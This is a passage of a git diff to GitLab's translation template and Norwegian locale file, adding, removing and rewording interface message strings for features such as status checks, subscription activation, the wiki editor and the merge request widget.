+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/nb_NO/gitlab.po b/locale/nb_NO/gitlab.po
index d62e0ff6f18..4e16351fe82 100644
--- a/locale/nb_NO/gitlab.po
+++ b/locale/nb_NO/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: nb\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:16\n"
+"PO-Revision-Date: 2021-06-01 20:30\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] "%d sak vellykket importert med stemplet"
